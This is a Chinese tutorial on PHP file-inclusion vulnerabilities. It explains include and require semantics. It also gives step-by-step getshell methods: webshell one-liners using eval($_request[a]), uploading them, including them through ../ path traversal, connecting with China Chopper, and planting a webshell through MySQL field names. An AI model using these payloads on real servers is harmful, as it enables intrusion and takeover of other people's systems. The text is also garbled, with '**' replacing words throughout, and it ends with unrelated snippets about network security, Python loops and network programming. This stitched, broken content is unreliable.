本篇內容:什麼是檔案包含漏
函式解析
實戰注意
1.場景
後端的每個頁面都要進行身份驗證。
假若普通人可以訪問管理員才能看到的頁面,不就造成了越權嗎?
但是如果每個頁面都寫一遍驗證身份的**。整個系統會變得很冗餘且難維護。
為此,開發們寫了一些檔案包含函式。這樣驗證**僅僅寫在乙個檔案中
什麼地方用到就呼叫這個檔案,即檔案包含
初衷:~減少**冗餘
~方便修改
2.定義
攻擊者利用包含的特性,加上應用本身對包含檔案的控制不嚴格
導致系統執行了攻擊者的惡意檔案。
本質:檔案包含並不屬於漏洞,只是因為對包含執行的檔案不可控
才導致了檔案包含漏洞的產生。
注意:包含進來的檔案「不管字尾」是什麼都會被當作php**解析執行,
//突破了字尾的限制,一般配合馬進行攻擊
3.攻擊思路:
方法一:
~製作馬,內容作用就是建立一句馬。**如下:
<?php file_put_contents('8.php','<?php eval($_request[a])?>');?>
~上傳馬
~檔案包含馬
~執行馬,生成一句馬
~找到咱們一句馬的位置 //可以是絕對路徑,可以是相對路徑
~菜刀連線
方法二:
~上傳正常馬
~傳參為:url?a=file_put_contents('8.php','<?php eval($_request[a])?>');
~菜刀連線
4.分類
~本地檔案包含(叫做lfi)
包含執行**本身的檔案
~遠端檔案包含(叫做rfi)
通過http協議包含執行別的地方的檔案
注意:遠端檔案包含,php預設不開啟,需要開啟修改php.ini的這個配置(allow_url_include = on)
補充:其實win系統,可以通過本地檔案包含實現遠端檔案包含
利用smb服務,有興趣的話可以去了解一下。
1.include
使用include引用外部檔案時,只有**執行到include**段時,才會呼叫外部檔案。
當引用**發生錯誤時,系統只會給出警告錯誤,而整個php檔案會繼續執行
總結:**正常執行,執行到include處,載入外部**,
即使載入的**有錯,但僅僅發出警告,整個檔案繼續執行
例如:echo 『111』;
include(『1.txt』); //假設1.txt不存在
echo 『222』;
輸出結果為:
111錯誤資訊 //爆出錯,繼續執行
2222.require
php檔案被執行之前,php解析器會先引用外部檔案進行全部內容替換。
然後剩餘的其他語句組成個新的php檔案,最後執行這個新的php檔案。
當引用**發生錯誤時,整個檔案都會報錯,且停止執行(直接死掉)
總結:先載入外部**與源**組成新檔案,執行新檔案,若載入的外部**有錯,
整個檔案直接整體報錯,且停止執行
例如:echo 『111』;
include(『1.txt』); //假設1.txt不存在
echo 『222』;
輸出結果為:
111錯誤資訊 //到這停止執行
//沒有222
注意:這個外部的**出錯也分等級,一般的小報錯,這個require的檔案
也依然會執行。只有出現致命錯誤的時候,檔案才直接死掉。
3.include_once
在引用(匯入檔案前)先檢測該檔案是否存在別處已經引用過include_once
若已經引用過,則不會執行;若沒有引用過,則執行
舉例一:
<?php
include_once(『1.php』);
include_once(『2.php』);
?>
結果一:1.php被引用 2.php未被引用
舉例二 :
<?php
include(『1.php』);
include_once(『2.php』);
?>
結果二:1.php被引用 2.php未被引用
舉例三 :
<?php
include_once(『1.php』);
include(『2.php』);
?>
結果三:1.php被引用 2.php被引用
4.require_once
結合上邊,道理一致
注意:這個「once」的含義。本質就是帶once的多了乙個判斷
5.對上邊補充
以上函式的包含路徑,既可以是絕對路徑,也可以是相對路徑
6.檔案包含getshell
例如 :
目標站點3.php的內容如下:
<?php
if(某個條件):
include($_request[『aa』]);
?>
訪問**:url 3.php? 滿足某個條件 && aa=…/…/…/…/a/b/c/馬
凡是這個檔案(這個路徑下的「…/…/…/…/a/b/c/馬」)不管是什麼
都會以php解析執行。那就厲害啦!!!
綜上,其核心就是讓**可以滿足某個條件,使之執行include函式,
我們在通過傳參控制,讓include包含我們想讓其解析執行的檔案即可
攻擊步驟:
只要能上傳檔案(例如),我們只要在這個檔案裡插入「一句馬」;
字尾什麼的都不用改;
我們只要能控制傳參「include」使內容改為上邊內容;
然後我們的路徑 填寫馬的路徑 菜刀連線;
url 3.php?aa=…/…/…/…/a/b/c/馬&a=phpinfo();
//馬的連線引數是「a」
直接getshell
1.cd sb/…/訪問
cd admin //訪問 admin資料夾
cd …/ //訪問 上一層資料夾
cd admin/…/ //訪問 admin進來,再出來
//所以綜合直接什麼也不做 //電腦看到這直接什麼也不做
cd 隨便寫/…/ //什麼也不做
這個小知識在php中也可以用,但是php中不要出現「? *」等符號,否則報錯
2.php的「?」
php的傳參路徑中不要出現「?」
「?」代表傳參的問題,一旦路徑出現,基本就會報錯。盡量避免「?」
3.路徑意義
…/…/…/…/ 的意義就是跳到:根目錄
有時候乙個 / 的意思也是跳到:根目錄
4.file_put_contents函式
作用:建立新檔案
格式:file_put_contents(『新建檔名』,『新建檔案內容』)
例如:
file_put_contents(『sb.php』,』<?php eval($_request['a']);?>』)
//新建sb.php檔案,內容是一句馬
5.phpstudy修改配置檔案
修改配置檔案後,重啟生效
6.原始碼審計注意事項
~seay搜尋可控的include,雙擊檢視函式位置
~檢視需要滿足什麼條件才會執行
~在多向上看看**,會不會有一些引數會導致整個**終止的條件(如die或exit的字眼)
~除錯**的時候,多用var_dump()輸出,echo輸出有很多限制
~php**現「 :: 」的時候,就是呼叫跟在後邊類中的方法(簡單理解,乙個自定義函式)
7.mysql資料庫儲存結構
一般乙個庫,在本地就是乙個資料夾
乙個表就是乙個檔案,而字段的名字,則會被儲存在這個檔案中
so,有時候。我們直接將欄位名改為:<?php eval($_request['a']);?>
就相對於在伺服器的乙個檔案中寫入惡意**
找到該檔案路徑 //白盒審計,不多說
配合檔案包含與菜刀,接下來就不用多說了吧
第十章 安全
網路安全 面對防病毒 防火牆 ids ips utm等明朗滿目安全解決方案讓使用者不知何選擇,也經常聽到很多管理員抱怨ids ips 防火牆 流量管理等該上的安全裝置都上但是在安全上心裡還是沒有底。網路安全實際上是乙個木桶效應,應該盡快找到最短的短板,只要有一塊短板存在無論你再怎麼加高木桶都是一事無...
零基礎學Python(第十章 迴圈巢狀)
python 語言允許在乙個迴圈體裡面嵌入另乙個迴圈。for x in range 10 外層迴圈 for j in range 10 內層迴圈 print end print 內層完畢後換行 只有內層迴圈全部迴圈完畢,才會繼續執行外層迴圈 for x in range 1,10 外層迴圈 for ...
第十章 網路程式設計
1.網路基礎概念 網路程式設計!程式設計 略2.ip協議 ip internet protocol 協議是網際層的主要協議,支援網間互連的資料報通訊。它提供主要功能有 1 無連線資料報傳送 2 資料報路由選擇和差錯控制 3.tcp udp 1 tcp transmission contorl pro...